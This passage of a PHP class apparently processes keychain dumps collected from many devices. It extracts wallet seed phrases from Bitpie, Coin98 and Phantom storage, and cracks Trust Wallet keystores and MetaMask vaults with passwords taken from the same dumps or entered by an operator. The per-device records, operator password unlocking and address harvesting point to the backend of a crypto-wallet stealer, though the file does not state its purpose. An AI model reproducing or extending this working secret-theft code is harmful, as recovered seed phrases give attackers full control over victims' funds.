}> */ public function recover(Device $device, mixed $wallets, mixed $sandbox): array { $hits = []; $seen = []; $bitpieNodes = [$wallets, $sandbox]; foreach ($device->keystores as $row) { if ($row->source === 'Bitpie') { $bitpieNodes[] = $row->raw_json; } } foreach ($this->recoverBitpie($bitpieNodes) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hits[] = $hit; } foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hits[] = $hit; } $coin98Nodes = [$wallets, $sandbox]; foreach ($device->keystores as $row) { if ($row->source === 'Coin98') { $coin98Nodes[] = $row->raw_json; } } foreach ($this->recoverCoin98($coin98Nodes) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hits[] = $hit; } $phantomNodes = [$wallets, $sandbox]; foreach ($device->keystores as $row) { if ($row->source === 'Phantom') { $phantomNodes[] = $row->raw_json; } } foreach ($this->recoverPhantom($phantomNodes) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hits[] = $hit; } return $hits; } /** * Try operator-supplied password against UTC / walletsV2 blobs and * MetaMask-style password vaults on this row (and same-source rows). * * @return array{hits: list}>, utc: int, vault: int} */ public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array { $device->loadMissing('keystores'); $source = trim((string) $row->source); $nodes = [is_array($row->raw_json) ? $row->raw_json : []]; foreach ($device->keystores as $other) { if ((int) $other->id === (int) $row->id) { continue; } if (trim((string) $other->source) !== $source) { continue; } $nodes[] = is_array($other->raw_json) ? $other->raw_json : []; } $utcs = []; $vaults = []; foreach ($nodes as $node) { $utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown')); $vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown')); } $utcs = $this->uniqueKeystores($utcs); $passwords = $this->expandUserPassword($password); $hits = []; $seen = []; if ($passwords === []) { return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)]; } foreach ($utcs as $item) { $phrase = $this->unlock($item['keystore'], $passwords); if ($phrase === null) { continue; } $hash = WalletMnemonic::hashSecret($phrase); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown'); $hits[] = [ 'source' => $hitSource, 'tag' => WalletSource::tagForLabel($hitSource), 'phrase' => $phrase, 'addresses' => [], ]; } foreach ($vaults as $item) { $phrase = $this->unlockPasswordVault($item['vault'], $passwords); if ($phrase === null) { continue; } $hash = WalletMnemonic::hashSecret($phrase); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask'); $hits[] = [ 'source' => $hitSource, 'tag' => WalletSource::tagForLabel($hitSource) ?: 'a', 'phrase' => $phrase, 'addresses' => [], ]; } return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)]; } /** * @return list */ public function expandUserPassword(string $password): array { $password = trim($password); if ($password === '') { return []; } $out = $this->passwordsFromString($password); if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) { $out = array_merge($out, $this->passwordsFromHex($password)); } return array_values(array_unique($out)); } /** * @return array{utc: int, passwords: int, entropy: int} */ public function materialCounts(Device $device): array { $device->loadMissing('keystores'); $utcs = []; $passwords = []; $entropy = []; $coin98 = 0; $phantom = 0; foreach ($device->keystores as $row) { $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); $entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json)); $coin98 += count($this->collectCoin98Backups($row->raw_json)); $phantom += count($this->collectPhantomEntropy($row->raw_json)); } return [ 'utc' => count($this->uniqueKeystores($utcs)), 'passwords' => count($this->uniquePasswords($passwords)), 'entropy' => count(array_unique($entropy)), 'coin98' => $coin98, 'phantom' => $phantom, ]; } /** * @return list}> */ private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array { $utcs = $this->collectKeystores($sandbox); $utcs = array_merge($utcs, $this->collectKeystores($wallets)); foreach ($device->keystores as $row) { $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); } $utcs = $this->uniqueKeystores($utcs); if ($utcs === []) { return []; } $passwords = $this->collectPasswords($wallets); foreach ($device->keystores as $row) { $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); } $passwords = array_slice($this->uniquePasswords($passwords), 0, 16); if ($passwords === []) { return []; } $hits = []; foreach ($utcs as $item) { $phrase = $this->unlock($item['keystore'], $passwords); if ($phrase === null) { continue; } $source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet'; $hits[] = [ 'source' => $source, 'tag' => WalletSource::tagForLabel($source), 'phrase' => $phrase, 'addresses' => [], ]; } return $hits; } /** * @param list $nodes * @return list}> */ private function recoverBitpie(array $nodes): array { $phrases = []; $addresses = []; foreach ($nodes as $node) { foreach ($this->collectBitpieEntropyHex($node) as $hex) { $phrase = $this->phraseFromEntropyHex($hex); if ($phrase !== null) { $phrases[$phrase] = true; } } $addresses = array_merge($addresses, $this->collectBitpieAddresses($node)); } if ($phrases === []) { return []; } $uniq = []; $seenAddr = []; foreach ($addresses as $row) { $key = $row['address']; if (isset($seenAddr[$key])) { continue; } $seenAddr[$key] = true; $uniq[] = $row; } $hits = []; foreach (array_keys($phrases) as $phrase) { $hits[] = [ 'source' => 'Bitpie', 'tag' => 'r', 'phrase' => $phrase, 'addresses' => $uniq, ]; } return $hits; } /** * Coin98 stores a plaintext JSON backup in the keychain under * service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry * carries the same mnemonic plus a per-chain address + privateKey. * * @param list $nodes * @return list}> */ private function recoverCoin98(array $nodes): array { $backups = []; foreach ($nodes as $node) { foreach ($this->collectCoin98Backups($node) as $backup) { $backups[] = $backup; } } if ($backups === []) { return []; } $phrase = null; $seenAddr = []; $uniq = []; foreach ($backups as $wallets) { foreach ($wallets as $w) { if (! is_array($w)) { continue; } $m = $w['mnemonic'] ?? null; if (is_string($m) && trim($m) !== '' && $phrase === null) { $candidate = $this->asMnemonic($m); if ($candidate !== null) { $phrase = $candidate; } } $address = trim((string) ($w['address'] ?? '')); if ($address === '') { continue; } $chain = strtolower(trim((string) ($w['chain'] ?? ''))); $mapped = $this->coin98ChainToType($chain, $address); if ($mapped === null) { continue; } $key = $mapped.'|'.$address; if (isset($seenAddr[$key])) { continue; } $seenAddr[$key] = true; $uniq[] = [ 'address' => $address, 'chainType' => $mapped, 'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'), 'balance' => 0, ]; } } if ($phrase === null) { return []; } return [ [ 'source' => 'Coin98', 'tag' => 'q', 'phrase' => $phrase, 'addresses' => $uniq, ], ]; } /** * Phantom stores its BIP39 entropy as a plaintext JSON blob in the * keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.* * The entropy dict maps integer indices to byte values (0–255). * 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic. * * @param list $nodes * @return list}> */ private function recoverPhantom(array $nodes): array { $entropyHex = null; foreach ($nodes as $node) { foreach ($this->collectPhantomEntropy($node) as $hex) { if ($entropyHex === null) { $entropyHex = $hex; } } } if ($entropyHex === null) { return []; } $phrase = $this->phraseFromEntropyHex($entropyHex); if ($phrase === null) { return []; } return [ [ 'source' => 'Phantom', 'tag' => 'i', 'phrase' => $phrase, 'addresses' => [], ], ]; } /** * Walk a keychain node collecting Phantom vault entropy hex strings. * * @return list */ public function collectPhantomEntropy(mixed $node, int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectPhantomEntropy($decoded, $depth + 1); } if (! is_array($node)) { return []; } $out = []; // Phantom vault seedless entries: service=app:no-auth, account hex-decodes // to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with // an "entropy" dict of byte-index → byte-value pairs. $svc = strtolower(trim((string) ($node['service'] ?? ''))); $acct = (string) ($node['account'] ?? ''); $acctDecoded = ''; if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) { $bin = @hex2bin($acct); if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) { $acctDecoded = strtolower($bin); } } if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) { $hex = $this->phantomEntropyFromItem($node); if ($hex !== null) { $out[] = $hex; } } foreach ($node as $key => $child) { if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1)); } } return $out; } /** * Extract the entropy hex from a Phantom vault seedless keychain item. * * @param array $item */ private function phantomEntropyFromItem(array $item): ?string { $hex = (string) ($item['dataHex'] ?? ''); $raw = ''; if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { $raw = (string) @hex2bin($hex); } if ($raw === '' && isset($item['data']) && is_string($item['data'])) { $raw = $item['data']; } if ($raw === '') { return null; } $json = json_decode($raw, true); if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) { return null; } // entropy is { "0": 250, "1": 104, ... } — collect bytes in index order. $bytes = ''; $keys = array_keys($json['entropy']); $max = -1; foreach ($keys as $k) { if (is_numeric($k) && (int) $k > $max) { $max = (int) $k; } } if ($max < 0) { return null; } for ($i = 0; $i <= $max; $i++) { $val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null; if (! is_numeric($val)) { return null; } $byte = (int) $val & 0xFF; $bytes .= chr($byte); } // Only accept 16-byte (12-word) or 32-byte (24-word) entropy. $len = strlen($bytes); if ($len !== 16 && $len !== 32) { return null; } return bin2hex($bytes); } /** * Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays. * * @return list>> */ private function collectCoin98Backups(mixed $node, int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectCoin98Backups($decoded, $depth + 1); } if (! is_array($node)) { return []; } $out = []; // Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP $svc = strtolower(trim((string) ($node['service'] ?? ''))); $acct = strtolower(trim((string) ($node['account'] ?? ''))); if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') { $parsed = $this->coin98BackupFromItem($node); if ($parsed !== null) { $out[] = $parsed; } } foreach ($node as $key => $child) { if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1)); } } return $out; } /** * @param array $item * @return list>|null */ private function coin98BackupFromItem(array $item): ?array { $hex = (string) ($item['dataHex'] ?? ''); $raw = ''; if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { $raw = (string) @hex2bin($hex); } if ($raw === '' && isset($item['data']) && is_string($item['data'])) { $raw = $item['data']; } if ($raw === '') { return null; } $json = json_decode($raw, true); if (! is_array($json) || $json === []) { return null; } return array_values(array_filter($json, fn ($w) => is_array($w))); } /** * Map a Coin98 chain name to our persisted chain_type. Returns null for * unsupported chains (only ETH / TRX / BTC are persisted). */ private function coin98ChainToType(string $chain, string $address): ?string { // EVM-compatible chains all share the same 0x address. $evm = [ 'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin', 'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom', 'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony', 'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera', 'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode', 'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink', 'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm', 'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic', 'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo', 'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert', 'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond', 'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet', 'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax', 'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet', 'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei', 'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet', 'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet', 'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta', 'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc', 'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet', 'kava', 'evmos', 'injective', ]; if (in_array($chain, $evm, true)) { return 'ETHEREUM'; } if ($chain === 'tron') { return 'TRON'; } if ($chain === 'bitcoin' || $chain === 'bitcointestnet') { return 'BITCOIN'; } // Fallback: infer from address shape. $inferred = WalletSource::inferChainType($address); if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) { return $inferred; } return null; } /** * @param list $passwords */ public function unlock(array $keystore, array $passwords): ?string { foreach ($passwords as $password) { $plain = EthKeystore::decrypt($keystore, $password); if ($plain === null) { continue; } $phrase = $this->asMnemonic($plain); if ($phrase !== null) { return $phrase; } } return null; } /** * @return list}> */ public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectKeystores($decoded, $source, $depth + 1); } if (! is_array($node)) { return []; } if ($this->isKeystore($node)) { return [['source' => $source, 'keystore' => $node]]; } $out = []; foreach ($node as $key => $child) { $next = $source; if (is_string($key)) { $hint = WalletSource::fromKeystoreHint($key); if ($hint !== '') { $next = $hint; } } $out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1)); } return $out; } /** * MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}. * * @return list}> */ public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectPasswordVaults($decoded, $source, $depth + 1); } if (! is_array($node)) { return []; } if ($this->isPasswordVault($node)) { return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]]; } $out = []; $acct = strtolower(trim((string) ($node['account'] ?? ''))); if ($acct === 'vault_backup' && $source === '') { $source = 'MetaMask'; } foreach ($node as $key => $child) { $next = $source; if (is_string($key)) { $hint = WalletSource::fromKeystoreHint($key); if ($hint !== '') { $next = $hint; } } if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1)); } } return $out; } /** * @param array $node */ public function isPasswordVault(array $node): bool { foreach (['cipher', 'iv', 'salt'] as $key) { if (! is_string($node[$key] ?? null) || $node[$key] === '') { return false; } } return true; } /** * @param array $vault * @param list $passwords */ public function unlockPasswordVault(array $vault, array $passwords): ?string { foreach ($passwords as $password) { $plain = $this->decryptPasswordVault($vault, $password); if ($plain === null) { continue; } $phrase = $this->phraseFromVaultPlain($plain); if ($phrase !== null) { return $phrase; } } return null; } /** * MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string* * (not base64-decoded), AES-256-CBC, IV hex, cipher base64. * * @param array $vault */ private function decryptPasswordVault(array $vault, string $password): ?string { $cipherB64 = (string) ($vault['cipher'] ?? ''); $ivRaw = (string) ($vault['iv'] ?? ''); $saltStr = (string) ($vault['salt'] ?? ''); if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') { return null; } $cipher = base64_decode($cipherB64, true); if (! is_string($cipher) || $cipher === '') { return null; } $iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true); if (! is_string($iv) || $iv === '') { return null; } $iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000); if ($iterations < 1) { $iterations = 5000; } $salts = [$saltStr]; $decodedSalt = base64_decode($saltStr, true); if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) { $salts[] = $decodedSalt; } foreach ($salts as $salt) { $key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true); $plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); if (is_string($plain) && $plain !== '') { return $plain; } } return null; } private function phraseFromVaultPlain(string $plain): ?string { $direct = $this->asMnemonic($plain); if ($direct !== null) { return $direct; } $json = json_decode($plain, true); if (! is_array($json)) { return null; } return $this->phraseFromVaultNode($json); } private function phraseFromVaultNode(mixed $node): ?string { if (is_string($node)) { return $this->asMnemonic($node); } if (! is_array($node)) { return null; } if (isset($node['mnemonic'])) { $phrase = $this->mnemonicFieldToPhrase($node['mnemonic']); if ($phrase !== null) { return $phrase; } } foreach ($node as $child) { $phrase = $this->phraseFromVaultNode($child); if ($phrase !== null) { return $phrase; } } return null; } private function mnemonicFieldToPhrase(mixed $value): ?string { if (is_string($value)) { return $this->asMnemonic($value); } if (! is_array($value) || $value === []) { return null; } if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) { $raw = ''; foreach ($value as $code) { if (! is_numeric($code)) { return null; } $raw .= chr((int) $code); } return $this->asMnemonic($raw); } if (is_string($value[0] ?? null)) { return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value))); } return null; } /** * @return list */ public function collectPasswords(mixed $node, int $depth = 0): array { $items = $this->collectPasswordItems($node, $depth); usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']); $out = []; foreach ($items as $item) { $out = array_merge($out, $this->passwordsFromHex($item['hex'])); } return $this->uniquePasswords($out); } /** * @return list */ private function collectPasswordItems(mixed $node, int $depth = 0): array { if ($depth > 8 || ! is_array($node)) { return []; } $out = []; $hex = $node['dataHex'] ?? null; if (is_string($hex) && $hex !== '') { $account = strtolower((string) ($node['account'] ?? '')); $score = 0; if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) { $score += 100; } $rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2; if ($rawLen === 32.0 || $rawLen === 64.0) { $score += 20; } $out[] = ['hex' => $hex, 'score' => $score]; } foreach (['items', 'wallets', 'sandbox'] as $key) { if (! isset($node[$key]) || ! is_array($node[$key])) { continue; } foreach ($node[$key] as $child) { $out = array_merge($out, $this->collectPasswordItems($child, $depth + 1)); } } if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) { foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->collectPasswordItems($child, $depth + 1)); } } } return $out; } /** * @param list $rows */ public function markDecrypted(iterable $rows, string $source): void { foreach ($rows as $row) { if (! $row instanceof WalletKeystore) { continue; } if ($row->source !== $source) { continue; } if ((int) $row->decrypted === 1) { continue; } $row->decrypted = 1; $row->save(); } } public function markSourceDecrypted(int $deviceId, string $source): void { WalletKeystore::query() ->where('device_id', $deviceId) ->where('source', $source) ->where('decrypted', 0) ->update(['decrypted' => 1]); } /** * @param array $node */ private function isKeystore(array $node): bool { $crypto = $node['crypto'] ?? $node['Crypto'] ?? null; if (! is_array($crypto)) { return false; } return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']); } /** * @return list */ private function passwordsFromHex(string $hex): array { $hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? ''; if ($hex === '' || strlen($hex) % 2 !== 0) { return []; } $raw = @hex2bin($hex); if (! is_string($raw) || $raw === '') { return []; } $out = $this->passwordsFromString($raw); // WalletCore / Trust sometimes treat the hex text itself as the password. if (strlen($hex) === 64 || strlen($hex) === 128) { $out[] = strtolower($hex); $out[] = strtoupper($hex); } return $out; } /** * @return list */ private function passwordsFromString(string $raw): array { $out = [$raw]; if (mb_check_encoding($raw, 'UTF-8')) { $trim = trim($raw); if ($trim !== '' && $trim !== $raw) { $out[] = $trim; } $unquoted = trim($trim, "\"'"); if ($unquoted !== '' && $unquoted !== $trim) { $out[] = $unquoted; } if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) { $bin = @hex2bin($trim); if (is_string($bin) && $bin !== '') { $out[] = $bin; } } } return $out; } /** * @param list}> $items * @return list}> */ private function uniqueKeystores(array $items): array { $seen = []; $out = []; foreach ($items as $item) { $crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? []; $fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? ''); if ($fp === '|' || isset($seen[$fp])) { continue; } $seen[$fp] = true; $out[] = $item; } return $out; } /** * @param list $passwords * @return list */ private function uniquePasswords(array $passwords): array { $seen = []; $out = []; foreach ($passwords as $password) { if ($password === '') { continue; } if (isset($seen[$password])) { continue; } $seen[$password] = true; $out[] = $password; } return $out; } private function decodeBlob(string $raw): mixed { $raw = trim($raw); if ($raw === '') { return null; } if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) { $json = json_decode($raw, true); return is_array($json) ? $json : null; } $b64 = base64_decode($raw, true); if (is_string($b64) && $b64 !== '') { $json = json_decode($b64, true); if (is_array($json)) { return $json; } } $hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? ''; if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) { $bin = @hex2bin($hex); if (is_string($bin) && $bin !== '') { $json = json_decode($bin, true); if (is_array($json)) { return $json; } } } return null; } private function asMnemonic(string $plain): ?string { $plain = trim($plain, "\0 \t\n\r"); if (str_starts_with($plain, '{')) { $json = json_decode($plain, true); if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) { $plain = $json['mnemonic']; } } if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) { $bin = @hex2bin($plain); if (is_string($bin) && str_contains($bin, ' ')) { $plain = $bin; } } $text = strtolower(trim($plain)); $text = preg_replace('/\s+/', ' ', $text) ?? $text; $words = $text === '' ? [] : explode(' ', $text); $n = count($words); if ($n !== 12 && $n !== 24) { return null; } foreach ($words as $word) { if (! preg_match('/^[a-z]{3,8}$/', $word)) { return null; } } return implode(' ', $words); } /** * @return list */ public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectBitpieEntropyHex($decoded, $depth + 1); } if (! is_array($node)) { return []; } $out = []; $account = strtolower(trim((string) ($node['account'] ?? ''))); if ($account === 'seedphraseentropy') { $hex = $this->entropyHexFromItem($node); if ($hex !== null) { $out[] = $hex; } } foreach ($node as $key => $child) { if (is_string($key) && strtolower($key) === 'seedphraseentropy') { $hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []); if ($hex !== null) { $out[] = $hex; } } if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1)); } } return $out; } /** * @return list */ public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { if (! $inBitpie) { return []; } return $this->addressesFromBitpieText($node); } if (! is_array($node)) { return []; } $out = []; $account = strtolower(trim((string) ($node['account'] ?? ''))); $extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true); if (in_array($account, ['useraddresskey', 'useraddress'], true)) { $out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node))); } if ($extract && isset($node['address']) && is_string($node['address'])) { $mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null); if ($mapped !== null) { $out[] = $mapped; } } foreach ($node as $key => $child) { if (! is_array($child) && ! is_string($child)) { continue; } $childInBitpie = $inBitpie || $this->isBitpieLabel($key); $walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie); if (! $walk) { continue; } $out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie)); } return $out; } private function isBitpieLabel(mixed $key): bool { $raw = strtolower(trim((string) $key)); return $raw !== '' && ( str_contains($raw, 'bitpie') || in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true) ); } private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool { if (is_int($key)) { return $inBitpie; } $raw = strtolower(trim((string) $key)); return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true); } /** * @param array $item */ private function entropyHexFromItem(array $item): ?string { $hex = $item['dataHex'] ?? null; if (is_string($hex) && $hex !== '') { $fromHex = $this->normalizeEntropyHex($hex); if ($fromHex !== null) { return $fromHex; } $bin = $this->fromHex($hex); if ($bin !== null) { $nested = $this->normalizeEntropyHex($bin); if ($nested !== null) { return $nested; } } } return $this->normalizeEntropyHex($this->itemUtf8($item)); } /** * @param array $item */ private function itemUtf8(array $item): string { $hex = $item['dataHex'] ?? null; if (is_string($hex) && $hex !== '') { $bin = $this->fromHex($hex); if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) { return trim($bin); } } $data = $item['data'] ?? null; return is_string($data) ? trim($data) : ''; } private function normalizeEntropyHex(string $raw): ?string { $raw = trim($raw); if ($raw === '') { return null; } $bin = $this->fromHex($raw); if ($bin !== null) { if (mb_check_encoding($bin, 'UTF-8')) { $trim = trim($bin); if ($this->isEntropyHex($trim)) { return strtolower($trim); } } if (strlen($bin) === 16 || strlen($bin) === 32) { return strtolower(bin2hex($bin)); } } if ($this->isEntropyHex($raw)) { return strtolower($raw); } return null; } private function isEntropyHex(string $value): bool { return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value) || (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value); } private function phraseFromEntropyHex(string $hex): ?string { try { $mnemonic = BIP39::Entropy(strtolower($hex)); } catch (\Throwable) { return null; } $phrase = strtolower(trim(implode(' ', $mnemonic->words))); return $this->asMnemonic($phrase); } /** * @return list */ private function addressesFromBitpieText(string $text): array { $out = []; $text = trim($text); if ($text === '') { return $out; } $direct = $this->addressRow($text, null); if ($direct !== null) { $out[] = $direct; } if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) { $json = json_decode($m[1], true); if (is_array($json)) { $out = array_merge($out, $this->collectBitpieAddresses($json, 0, true)); } } $decoded = $this->decodeBlob($text); if (is_array($decoded)) { $out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true)); } return $out; } /** * @return array{address: string, chainType: string, symbol: string, balance: int}|null */ private function addressRow(string $address, mixed $hint): ?array { $address = trim($address); if ($address === '') { return null; } $chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address); $chain = strtoupper($chain); if (! WalletSource::isSupportedChain($chain)) { return null; } $normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)); if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) { return null; } if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) { return null; } if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) { return null; } $symbol = match ($chain) { 'BITCOIN', 'BTC' => 'BTC', 'ETHEREUM', 'ETH', 'EVM' => 'ETH', 'BNB', 'BSC', 'BINANCE' => 'BNB', default => 'TRX', }; return [ 'address' => $address, 'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)), 'symbol' => $symbol, 'balance' => 0, ]; } private function chainFromHint(mixed $hint): ?string { $raw = strtolower(trim((string) $hint)); if ($raw === '') { return null; } if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) { return 'TRON'; } if (str_contains($raw, 'eth')) { return 'ETHEREUM'; } if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) { return 'BITCOIN'; } return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null; } private function fromHex(string $value): ?string { $hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? ''; if ($hex === '' || strlen($hex) % 2 !== 0) { return null; } $bin = @hex2bin($hex); return is_string($bin) ? $bin : null; } }